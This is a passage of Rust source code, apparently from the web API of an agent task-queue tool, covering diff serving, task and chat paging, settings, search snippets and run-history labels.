4467 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4468 if out.code != Some(0) {
4469 return Err(ApiError::not_found(
4470 "the recorded commits are no longer in the repository",
4471 ));
4472 }
4473 let mut body = out.stdout;
4474 if body.len() > GRAFT_DIFF_MAX {
4475 let mut cut = GRAFT_DIFF_MAX;
4476 while !body.is_char_boundary(cut) {
4477 cut -= 1;
4478 }
4479 body.truncate(cut);
4480 body.push_str("\n... diff truncated ...");
4481 }
4482 Ok((
4483 [
4484 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4485 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4486 ],
4487 body,
4488 ))
4489}
4490
4491#[derive(Debug, Serialize)]
4497struct TaskView {
4498 #[serde(flatten)]
4499 task: Task,
4500 source_label: String,
4501 source_link: Option<SourceLink>,
4502 status_str: &'static str,
4503 instruction_md: Vec<md::Node>,
4507 waits_on: Vec<String>,
4511 stuck_roots: Vec<String>,
4514}
4515
4516impl From<Task> for TaskView {
4517 fn from(task: Task) -> Self {
4518 Self {
4519 source_label: task.source.label(),
4520 source_link: source_link(&task.source),
4521 status_str: task.status.as_str(),
4522 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4523 waits_on: Vec::new(),
4524 stuck_roots: Vec::new(),
4525 task,
4526 }
4527 }
4528}
4529
4530impl TaskView {
4531 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4532 let waits_on = inv.waits_on(&task);
4533 let stuck_roots = inv
4534 .stuck_roots(&task)
4535 .iter()
4536 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4537 .collect();
4538 Self {
4539 waits_on,
4540 stuck_roots,
4541 ..Self::from(task)
4542 }
4543 }
4544}
4545
4546#[derive(Debug, Default, Deserialize)]
4549#[serde(default)]
4550struct ReposQuery {
4551 refresh: u8,
4552}
4553
4554async fn repos_list(
4561 State(ui): State<Arc<Ui>>,
4562 Query(q): Query<ReposQuery>,
4563) -> ApiResult<Json<Vec<repos::Repo>>> {
4564 let refresh = q.refresh != 0;
4565 blocking(move || {
4566 let (cfg, _) = Config::discover(&ui.repo, None)?;
4567 Ok(Json(ui.repos_cache.list(
4568 &cfg.repos.roots,
4569 Duration::from_secs(cfg.repos.scan_ttl),
4570 refresh,
4571 )))
4572 })
4573 .await
4574}
4575
4576#[derive(Debug, Default, Deserialize)]
4578struct SettingsQuery {
4579 repo: Option<PathBuf>,
4580}
4581
4582fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4586 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4587 let paths: Vec<PathBuf> = ui
4588 .machine_config
4589 .iter()
4590 .filter(|p| p.is_file())
4591 .cloned()
4592 .collect();
4593 if paths.is_empty() {
4594 Ok(Config::autodetected())
4595 } else {
4596 Config::load_layers(&paths)
4597 }
4598 });
4599 let mut known = cfg
4600 .map(|cfg| {
4601 ui.repos_cache.list(
4602 &cfg.repos.roots,
4603 Duration::from_secs(cfg.repos.scan_ttl),
4604 refresh,
4605 )
4606 })
4607 .unwrap_or_default();
4608 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4609 if !known.iter().any(|r| r.path == path) {
4610 known.push(repos::Repo {
4611 name: path
4612 .file_name()
4613 .unwrap_or_default()
4614 .to_string_lossy()
4615 .into_owned(),
4616 path,
4617 });
4618 }
4619 known
4620}
4621
4622fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4623 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4624 let canonical = requested.canonicalize().ok();
4625 let mut known = settings_repositories(ui, false);
4626 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4627 if !known.iter().any(matches) {
4628 known = settings_repositories(ui, true);
4629 }
4630 let repo = known
4631 .iter()
4632 .find(|r| matches(r))
4633 .map(|r| r.path.clone())
4634 .ok_or_else(|| ApiError {
4635 text_reason: None,
4636 status: StatusCode::UNPROCESSABLE_ENTITY,
4637 message: "Choose a known repository from the Settings selector.".to_owned(),
4638 })?;
4639 Ok((repo, known))
4640}
4641
4642async fn settings_get(
4646 State(ui): State<Arc<Ui>>,
4647 Query(q): Query<SettingsQuery>,
4648) -> ApiResult<Json<settings::SettingsView>> {
4649 blocking(move || {
4650 let (repo, known) = settings_context(&ui, q)?;
4651 Ok(Json(settings::view_with_repos(
4652 &repo,
4653 ui.machine_config.as_deref(),
4654 &known,
4655 )))
4656 })
4657 .await
4658}
4659
4660#[derive(Debug, Deserialize)]
4662#[serde(deny_unknown_fields)]
4663struct RolesBody {
4664 revision: String,
4666 #[serde(default)]
4668 roles: std::collections::BTreeMap<String, Vec<String>>,
4669 #[serde(default)]
4673 counts: std::collections::BTreeMap<String, serde_json::Value>,
4674}
4675
4676async fn settings_put_roles(
4682 State(ui): State<Arc<Ui>>,
4683 Query(q): Query<SettingsQuery>,
4684 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4685) -> ApiResult<Json<settings::SettingsView>> {
4686 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4687 blocking(move || {
4688 let (repo, known) = settings_context(&ui, q)?;
4689 settings::save_with_repos(
4690 &repo,
4691 ui.machine_config.as_deref(),
4692 &body.revision,
4693 &body.roles,
4694 &body.counts,
4695 &known,
4696 )
4697 .map(Json)
4698 .map_err(|e| match e {
4699 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4700 settings::SaveError::Refused(m) => ApiError {
4701 text_reason: None,
4702 status: StatusCode::UNPROCESSABLE_ENTITY,
4703 message: m,
4704 },
4705 settings::SaveError::Internal(m) => ApiError::internal(m),
4706 })
4707 })
4708 .await
4709}
4710
4711async fn queue_list(
4712 State(ui): State<Arc<Ui>>,
4713 Query(q): Query<ListQuery>,
4714) -> ApiResult<Json<Vec<TaskView>>> {
4715 blocking(move || {
4716 let tasks = ui.queue.list();
4717 let inv =
4718 crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
4719 Ok(Json(
4720 tasks
4721 .into_iter()
4722 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4723 .map(|t| TaskView::with_inventory(t, &inv))
4724 .collect(),
4725 ))
4726 })
4727 .await
4728}
4729
4730#[derive(Debug, Default, Deserialize)]
4735struct PageQuery {
4736 before: Option<String>,
4737}
4738
4739#[derive(Serialize)]
4740struct StorePage<T> {
4741 rows: Vec<T>,
4742 next: Option<String>,
4743}
4744
4745const STORE_PAGE_SIZE: usize = 16;
4746
4747#[derive(Debug)]
4751struct ListWalk {
4752 token: u64,
4753 talks: bool,
4754 opened: std::time::Instant,
4755 ids: Arc<Vec<String>>,
4756}
4757
4758fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
4759 let mut walks = ui
4760 .monitor
4761 .list_walks
4762 .lock()
4763 .unwrap_or_else(PoisonError::into_inner);
4764 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
4765 let (token, ids, offset) = if let Some(cursor) = q.before {
4766 let (token, offset) = cursor
4767 .split_once(':')
4768 .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
4769 let token = token
4770 .parse::<u64>()
4771 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4772 let offset = offset
4773 .parse::<usize>()
4774 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4775 let walk = walks
4776 .iter()
4777 .find(|walk| walk.token == token && walk.talks == talks)
4778 .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
4779 (token, walk.ids.clone(), offset)
4780 } else {
4781 let root = if talks {
4782 ui.talks.root()
4783 } else {
4784 ui.queue.root()
4785 };
4786 let mut ids = crate::queue::record_ids(root, "json")?;
4787 ids.sort_unstable_by(|a, b| b.cmp(a));
4788 let ids = Arc::new(ids);
4789 let mut token = crate::rng::entropy();
4790 while walks.iter().any(|walk| walk.token == token) {
4791 token = crate::rng::entropy();
4792 }
4793 if walks.len() >= 16 {
4796 walks.remove(0);
4797 }
4798 walks.push(ListWalk {
4799 token,
4800 talks,
4801 opened: std::time::Instant::now(),
4802 ids: ids.clone(),
4803 });
4804 (token, ids, 0)
4805 };
4806 if offset > ids.len() {
4807 return Err(ApiError::bad_request("Invalid list cursor"));
4808 }
4809 let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
4810 let next = (end < ids.len()).then(|| format!("{token}:{end}"));
4811 Ok((ids[offset..end].to_vec(), next))
4812}
4813
4814async fn queue_page(
4815 State(ui): State<Arc<Ui>>,
4816 Query(q): Query<PageQuery>,
4817) -> ApiResult<Json<StorePage<TaskView>>> {
4818 blocking(move || {
4819 let (ids, next) = page_ids(&ui, false, q)?;
4820 let tasks: Vec<_> = ids
4821 .into_iter()
4822 .filter_map(|id| ui.queue.get(&id).ok())
4823 .collect();
4824 let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
4825 let rows = tasks
4826 .into_iter()
4827 .map(|task| TaskView::with_inventory(task, &inv))
4828 .collect();
4829 Ok(Json(StorePage { rows, next }))
4830 })
4831 .await
4832}
4833
4834#[derive(Serialize)]
4838struct TalkListView {
4839 id: String,
4840 repo: PathBuf,
4841 agent: String,
4842 status: talk::TalkStatus,
4843 turns: Vec<TalkListTurn>,
4844 thinking: bool,
4845 context: talk::ContextUsage,
4846 created_at: Timestamp,
4847 updated_at: Timestamp,
4848}
4849
4850#[derive(Serialize)]
4851struct TalkListTurn {
4852 who: talk::Who,
4853 at: Timestamp,
4854 body: String,
4855}
4856
4857async fn talks_page(
4858 State(ui): State<Arc<Ui>>,
4859 Query(q): Query<PageQuery>,
4860) -> ApiResult<Json<StorePage<TalkListView>>> {
4861 blocking(move || {
4862 let (ids, next) = page_ids(&ui, true, q)?;
4863 let rows = ids
4864 .into_iter()
4865 .filter_map(|id| ui.talks.get(&id).ok())
4866 .map(|talk| TalkListView {
4867 thinking: ui.is_thinking(&talk.id),
4868 context: talk::context_usage(&talk, None),
4869 turns: talk
4870 .turns
4871 .iter()
4872 .map(|turn| TalkListTurn {
4873 who: turn.who,
4874 at: turn.at,
4875 body: turn
4876 .body
4877 .lines()
4878 .next()
4879 .unwrap_or_default()
4880 .chars()
4881 .take(240)
4882 .collect(),
4883 })
4884 .collect(),
4885 id: talk.id,
4886 repo: talk.repo,
4887 agent: talk.agent,
4888 status: talk.status,
4889 created_at: talk.created_at,
4890 updated_at: talk.updated_at,
4891 })
4892 .collect();
4893 Ok(Json(StorePage { rows, next }))
4894 })
4895 .await
4896}
4897
4898async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
4899 blocking(move || {
4900 let tasks = ui.indexed_tasks()?;
4901 Ok(Json(TaskCountsView::from(
4902 crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
4903 )))
4904 })
4905 .await
4906}
4907
4908const SEARCH_MAX_HITS: usize = 100;
4910const SEARCH_MAX_QUERY: usize = 200;
4912const SEARCH_MAX_TERMS: usize = 8;
4913const SNIPPET_BEFORE: usize = 50;
4915const SNIPPET_AFTER: usize = 110;
4916
4917#[derive(Debug, Deserialize)]
4919struct SearchQuery {
4920 #[serde(default)]
4921 scope: String,
4922 #[serde(default)]
4923 q: String,
4924}
4925
4926#[derive(Debug, Serialize, PartialEq, Eq)]
4929struct SnippetPart {
4930 text: String,
4931 hit: bool,
4932}
4933
4934#[derive(Debug, Serialize)]
4935struct SearchHit {
4936 id: String,
4937 field: String,
4939 snippet: Vec<SnippetPart>,
4940 #[serde(skip_serializing_if = "Option::is_none")]
4944 run: Option<RunSummary>,
4945}
4946
4947#[derive(Debug, Serialize)]
4948struct SearchView {
4949 scope: String,
4950 q: String,
4951 hits: Vec<SearchHit>,
4953 total: usize,
4955 truncated: bool,
4956 unreadable: usize,
4959}
4960
4961fn text_leaves<'a>(
4964 value: &'a serde_json::Value,
4965 field: &'a str,
4966 out: &mut Vec<(&'a str, &'a str)>,
4967) {
4968 match value {
4969 serde_json::Value::String(s) => out.push((field, s)),
4970 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4971 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4972 _ => {}
4973 }
4974}
4975
4976fn fold_char(c: char) -> char {
4979 c.to_lowercase().next().unwrap_or(c)
4980}
4981
4982fn search_terms(q: &str) -> Vec<String> {
4984 let mut terms: Vec<String> = Vec::new();
4985 for t in q.split_whitespace() {
4986 let t = t.to_lowercase();
4987 if !terms.contains(&t) {
4988 terms.push(t);
4989 }
4990 }
4991 terms
4992}
4993
4994fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4997 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4998 let mut first: Option<usize> = None;
4999 for term in terms {
5000 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5001 first = Some(first.map_or(at, |f| f.min(at)));
5002 }
5003 let (field, text) = leaves[first?];
5005 Some(SearchHit {
5006 id: String::new(),
5007 field: field.to_owned(),
5008 snippet: snippet_of(text, terms),
5009 run: None,
5010 })
5011}
5012
5013fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5016 let chars: Vec<char> = text.chars().collect();
5017 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5018 let needles: Vec<Vec<char>> = terms
5019 .iter()
5020 .map(|t| t.chars().map(fold_char).collect())
5021 .collect();
5022 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5023 let mut best: Option<(usize, usize)> = None;
5024 for n in needles.iter().filter(|n| !n.is_empty()) {
5025 if n.len() > chars.len() || to == 0 {
5029 continue;
5030 }
5031 let last = (to - 1).min(chars.len() - n.len());
5032 if from > last {
5033 continue;
5034 }
5035 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5036 && best.is_none_or(|(b, _)| i < b)
5037 {
5038 best = Some((i, i + n.len()));
5039 }
5040 }
5041 best
5042 };
5043 let Some((start, _)) = find(0, chars.len()) else {
5044 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5046 return vec![SnippetPart {
5047 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5048 hit: false,
5049 }];
5050 };
5051 let lo = start.saturating_sub(SNIPPET_BEFORE);
5052 let hi = (start + SNIPPET_AFTER).min(chars.len());
5053 let mut parts: Vec<SnippetPart> = Vec::new();
5054 let mut push = |s: &[char], hit: bool| {
5055 if s.is_empty() {
5056 return;
5057 }
5058 let text: String = s.iter().collect();
5059 match parts.last_mut() {
5060 Some(p) if p.hit == hit => p.text.push_str(&text),
5061 _ => parts.push(SnippetPart { text, hit }),
5062 }
5063 };
5064 if lo > 0 {
5065 push(&['\u{2026}'], false);
5066 }
5067 let mut at = lo;
5068 while at < hi {
5069 match find(at, hi) {
5070 Some((s, e)) => {
5071 push(&chars[at..s], false);
5072 let shown = e.min(hi);
5074 push(&chars[s..shown], true);
5075 at = shown;
5076 }
5077 None => {
5078 push(&chars[at..hi], false);
5079 at = hi;
5080 }
5081 }
5082 }
5083 if hi < chars.len() {
5084 push(&['\u{2026}'], false);
5085 }
5086 let mut prev_space = false;
5089 for p in &mut parts {
5090 let mut out = String::with_capacity(p.text.len());
5091 for c in p.text.chars() {
5092 if c.is_whitespace() {
5093 if !prev_space {
5094 out.push(' ');
5095 }
5096 prev_space = true;
5097 } else {
5098 out.push(c);
5099 prev_space = false;
5100 }
5101 }
5102 p.text = out;
5103 }
5104 parts.retain(|p| !p.text.is_empty());
5105 parts
5106}
5107
5108fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5110where
5111 I: IntoIterator<Item = (String, serde_json::Value)>,
5112{
5113 for (id, doc) in docs {
5114 let mut leaves = Vec::new();
5115 leaves.push(("id", id.as_str()));
5118 text_leaves(&doc, "", &mut leaves);
5119 if let Some(mut hit) = search_document(terms, &leaves) {
5120 view.total += 1;
5121 if view.hits.len() < SEARCH_MAX_HITS {
5122 hit.id = id;
5123 view.hits.push(hit);
5124 }
5125 }
5126 }
5127 view.truncated = view.total > view.hits.len();
5128}
5129
5130fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5137 let opener = talk
5138 .turns
5139 .iter()
5140 .find(|t| t.who == crate::talk::Who::Operator)
5141 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
5142 .unwrap_or("");
5143 let title: String = if opener.chars().count() > 96 {
5144 opener.chars().take(95).chain(['\u{2026}']).collect()
5145 } else {
5146 opener.to_owned()
5147 };
5148 let turns: Vec<serde_json::Value> = talk
5149 .turns
5150 .iter()
5151 .map(|t| {
5152 let who = match t.who {
5153 crate::talk::Who::Operator => "operator",
5154 crate::talk::Who::Agent => "agent",
5155 };
5156 serde_json::json!({ who: t.body })
5157 })
5158 .collect();
5159 serde_json::json!({ "title": title, "turns": turns })
5160}
5161
5162async fn search_get(
5169 State(ui): State<Arc<Ui>>,
5170 Query(q): Query<SearchQuery>,
5171) -> ApiResult<Json<SearchView>> {
5172 let query = q.q.trim().to_owned();
5173 if query.is_empty() {
5174 return Err(ApiError::bad_request("q must not be empty"));
5175 }
5176 if query.chars().count() > SEARCH_MAX_QUERY {
5177 return Err(ApiError::bad_request(format!(
5178 "q is longer than {SEARCH_MAX_QUERY} characters"
5179 )));
5180 }
5181 let terms = search_terms(&query);
5182 if terms.len() > SEARCH_MAX_TERMS {
5183 return Err(ApiError::bad_request(format!(
5184 "q has more than {SEARCH_MAX_TERMS} terms"
5185 )));
5186 }
5187 let scope = q.scope;
5188 if scope != "runs" && scope != "tasks" && scope != "chats" {
5189 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5190 }
5191 blocking(move || {
5192 let mut view = SearchView {
5193 scope: scope.clone(),
5194 q: query,
5195 hits: Vec::new(),
5196 total: 0,
5197 truncated: false,
5198 unreadable: 0,
5199 };
5200 if scope == "runs" {
5201 let mut unreadable = 0;
5202 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5206 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5207 match body.and_then(|b| serde_json::from_str(&b).ok()) {
5208 Some(v) => Some((id, v)),
5209 None => {
5210 unreadable += 1;
5211 None
5212 }
5213 }
5214 });
5215 search_docs(&terms, docs, &mut view);
5216 view.unreadable = unreadable;
5217 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5220 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5221 for hit in &mut view.hits {
5222 if let Ok(state) = read_run(&ui.runs, &hit.id) {
5223 hit.run = summarize(
5224 [state],
5225 &open_runs,
5226 &claimed,
5227 &superseded,
5228 |p| probe.borrow_mut().status(p),
5229 |p| probe.borrow_mut().started_at(p),
5230 )
5231 .pop();
5232 }
5233 }
5234 } else if scope == "chats" {
5235 let (talks, unreadable) = ui.talks.list_counting_unreadable();
5236 view.unreadable = unreadable;
5237 search_docs(
5238 &terms,
5239 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5240 &mut view,
5241 );
5242 } else {
5243 let docs = ui.queue.list().into_iter().filter_map(|t| {
5244 let mut v = serde_json::to_value(&t).ok()?;
5245 if let Some(o) = v.as_object_mut() {
5248 o.insert("filed_by".to_owned(), t.source.label().into());
5249 }
5250 Some((t.id, v))
5251 });
5252 search_docs(&terms, docs, &mut view);
5253 }
5254 Ok(Json(view))
5255 })
5256 .await
5257}
5258
5259#[derive(Debug, Serialize)]
5261struct TaskRunView {
5262 n: usize,
5264 id: String,
5265 short: String,
5266 kind: &'static str,
5268 status: Option<&'static str>,
5270 readable: bool,
5272 provisional: bool,
5274 description: String,
5276 outcome: String,
5278 created_at: Option<Timestamp>,
5279 pr: Option<String>,
5280 exit: RunExit,
5282 attempt: AttemptCost,
5284 exit_label: String,
5287 later_pass: Option<usize>,
5290 pass_n: usize,
5294 passes_of_run: usize,
5295 pass: Option<PassView>,
5298 branch: Option<String>,
5300 badge: Option<String>,
5303}
5304
5305#[derive(Debug, Clone, PartialEq, Serialize)]
5307struct PassView {
5308 index: usize,
5309 resumed: bool,
5310 started_at: Timestamp,
5311 ended_at: Option<Timestamp>,
5312 end: &'static str,
5314 cause: Option<crate::run::ParkCause>,
5315 label: String,
5317 cost: Option<crate::queue::PassCost>,
5320}
5321
5322impl PassView {
5323 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5324 use crate::run::PassEnd;
5325 let (end, cause, label) = match &p.end {
5326 None => ("open", None, "still open".to_owned()),
5327 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5328 Some(PassEnd::Unrecorded) => (
5329 "unrecorded",
5330 None,
5331 "stopped without recording why (a crash, a kill or a restart; not known)"
5332 .to_owned(),
5333 ),
5334 };
5335 Self {
5336 index: p.index,
5337 resumed: p.resumed,
5338 started_at: p.started_at,
5339 ended_at: p.ended_at,
5340 end,
5341 cause,
5342 label,
5343 cost: settled.map(|t| t.cost),
5344 }
5345 }
5346}
5347
5348#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5350#[serde(rename_all = "snake_case")]
5351enum RunExit {
5352 Unreadable,
5353 Interrupted,
5355 Parked,
5356 QuotaStall,
5357 ResumedQuotaStall,
5361 Merged,
5362 Ready,
5363 Superseded,
5364 AlreadyInBase,
5367 Stalled,
5369 HeldWithPr,
5371 NoopHeld,
5372 Spent,
5374 InProgress,
5375}
5376
5377#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5378#[serde(rename_all = "snake_case")]
5379enum AttemptCost {
5380 Spent,
5381 Refunded,
5382 None,
5383 Unknown,
5385}
5386
5387impl RunExit {
5388 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5389 let Some(s) = s else {
5390 return Self::Unreadable;
5391 };
5392 let status = s.status;
5393 if resumed_later {
5394 Self::Interrupted
5395 } else if s.parked {
5396 Self::Parked
5397 } else if !status.done() {
5398 Self::InProgress
5399 } else if matches!(status, RunStatus::Merged) {
5400 Self::Merged
5401 } else if matches!(status, RunStatus::Ready) {
5402 Self::Ready
5403 } else if matches!(status, RunStatus::Superseded) {
5404 Self::Superseded
5405 } else if matches!(status, RunStatus::AlreadyInBase) {
5406 Self::AlreadyInBase
5407 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5408 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5409 {
5410 if resumed {
5411 Self::ResumedQuotaStall
5412 } else {
5413 Self::QuotaStall
5414 }
5415 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5416 Self::HeldWithPr
5417 } else if matches!(status, RunStatus::VerifiedNoop) {
5418 Self::NoopHeld
5419 } else if matches!(status, RunStatus::Stalled) {
5420 Self::Stalled
5421 } else {
5422 Self::Spent
5423 }
5424 }
5425
5426 fn cost(self) -> AttemptCost {
5427 match self {
5428 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5429 Self::Merged
5430 | Self::Ready
5431 | Self::Stalled
5432 | Self::HeldWithPr
5433 | Self::NoopHeld
5434 | Self::Spent => AttemptCost::Spent,
5435 Self::InProgress => AttemptCost::None,
5436 Self::AlreadyInBase => AttemptCost::Refunded,
5437 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5438 AttemptCost::Unknown
5439 }
5440 }
5441 }
5442
5443 fn edge_label(self, status: Option<&str>) -> String {
5445 match self {
5446 Self::Unreadable => "record unreadable".to_owned(),
5447 Self::Interrupted => "interrupted before the run finished".to_owned(),
5448 Self::Parked => "parked, attempt refunded".to_owned(),
5449 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5450 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5451 Self::Merged => "merged".to_owned(),
5452 Self::Ready => "ready, not merged".to_owned(),
5453 Self::Superseded => "superseded by a later attempt".to_owned(),
5454 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5455 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5456 Self::HeldWithPr => "blocked, PR left open".to_owned(),
5457 Self::NoopHeld => "verified no-op".to_owned(),
5458 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5459 Self::InProgress => "in progress".to_owned(),
5460 }
5461 }
5462
5463 fn explains(self, end: TaskStatus) -> bool {
5466 match self {
5467 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5468 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5469 Self::Unreadable | Self::Superseded | Self::Ready => true,
5470 _ => end != TaskStatus::Done,
5471 }
5472 }
5473}
5474
5475#[derive(Debug, Serialize)]
5477struct TaskDetailView {
5478 #[serde(flatten)]
5479 task: TaskView,
5480 max_attempts: usize,
5483 history: Vec<TaskRunView>,
5484 passes_total: usize,
5487 runs_distinct: usize,
5489 flow: FlowView,
5490 followup_origin: Option<FollowUpOrigin>,
5492 runs_unreadable: usize,
5494 attempts_note: &'static str,
5496}
5497
5498const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5499and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5500on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5501the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5502
5503fn review_branch_of(instruction: &str) -> Option<&str> {
5506 let rest = instruction.strip_prefix("Review the work already on branch `")?;
5507 rest.split('`').next().filter(|b| !b.is_empty())
5508}
5509
5510#[derive(Default)]
5512struct RunSlot<'a> {
5513 n: usize,
5515 resumed: bool,
5517 resumed_later: Option<usize>,
5519 prior: Option<(&'a str, RunStatus)>,
5521 last: bool,
5522 pass: Option<&'a crate::run::RunPass>,
5524 settled: Option<&'a crate::queue::TaskPass>,
5526 pass_n: usize,
5528 passes_of_run: usize,
5529}
5530
5531fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5534 let RunSlot {
5535 n,
5536 resumed,
5537 resumed_later,
5538 prior,
5539 last,
5540 pass,
5541 settled,
5542 pass_n,
5543 passes_of_run,
5544 } = at;
5545 let short = run::short_of(id).to_owned();
5546 let Some(s) = state else {
5547 return TaskRunView {
5548 n,
5549 id: id.to_owned(),
5550 short,
5551 kind: "unknown",
5552 status: None,
5553 readable: false,
5554 provisional: false,
5555 description:
5556 "This run's record could not be read by this build (written by a different \
5557 magi, or removed), so what kind of attempt it was is unknown."
5558 .to_owned(),
5559 outcome: String::new(),
5560 created_at: None,
5561 pr: None,
5562 exit: RunExit::Unreadable,
5563 attempt: AttemptCost::Unknown,
5564 exit_label: RunExit::Unreadable.edge_label(None),
5565 later_pass: resumed_later,
5566 pass_n,
5567 passes_of_run,
5568 pass: None,
5569 branch: None,
5570 badge: None,
5571 };
5572 };
5573 let branch = review_branch_of(&s.instruction);
5574 let kind = if resumed {
5575 "resume"
5576 } else if branch.is_some() {
5577 "review"
5578 } else if task.solo || s.candidates.len() == 1 {
5579 "solo"
5580 } else {
5581 "competition"
5582 };
5583 let mut description = match kind {
5584 "resume" => {
5585 format!("Resumed run {short}: the same run carried on instead of competing again.")
5586 }
5587 "review" => format!(
5588 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5589 branch.unwrap_or_default()
5590 ),
5591 "solo" => "Solo run: one implementer straight into review.".to_owned(),
5592 _ => format!(
5593 "Competition: {} candidates judged blind.",
5594 s.candidates.len().max(1)
5595 ),
5596 };
5597 if !resumed && let Some((p, st)) = prior {
5598 description.push_str(&format!(
5599 " A retry: run {p} before it ended {}.",
5600 st.display_label()
5601 ));
5602 }
5603
5604 let status = s.status;
5605 let provisional = matches!(status, RunStatus::Stalled)
5606 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
5607 let head = if resumed_later.is_some() {
5608 String::new()
5609 } else {
5610 match status {
5611 RunStatus::Merged => "Merged.".to_owned(),
5612 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
5613 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
5614 RunStatus::AlreadyInBase => {
5615 "Already in the base: this change landed under other commits, nothing was left to land."
5616 .to_owned()
5617 }
5618 RunStatus::Stalled => {
5619 "Stalled: the judging panel never reached a quorum, so there is no verdict."
5620 .to_owned()
5621 }
5622 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5623 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5624 RunStatus::VerifiedNoop => {
5625 "Verified no-op: the candidates found nothing to change.".to_owned()
5626 }
5627 other if other.done() => format!("Ended {}.", other.display_label()),
5628 other => format!("In progress ({}).", other.display_label()),
5629 }
5630 };
5631 let view = pass.map(|p| PassView::of(p, settled));
5632 let recorded_end = view
5633 .as_ref()
5634 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5635 let cost_words = match view.as_ref().and_then(|v| v.cost) {
5636 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5637 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5638 None => "whether its attempt was handed back was not recorded",
5639 };
5640 let pass_note = if passes_of_run > 1 {
5641 format!(
5642 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5643 )
5644 } else {
5645 String::new()
5646 };
5647 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5648 let cause = match v.end {
5650 "parked" => format!("It was stopped on purpose: {}.", v.label),
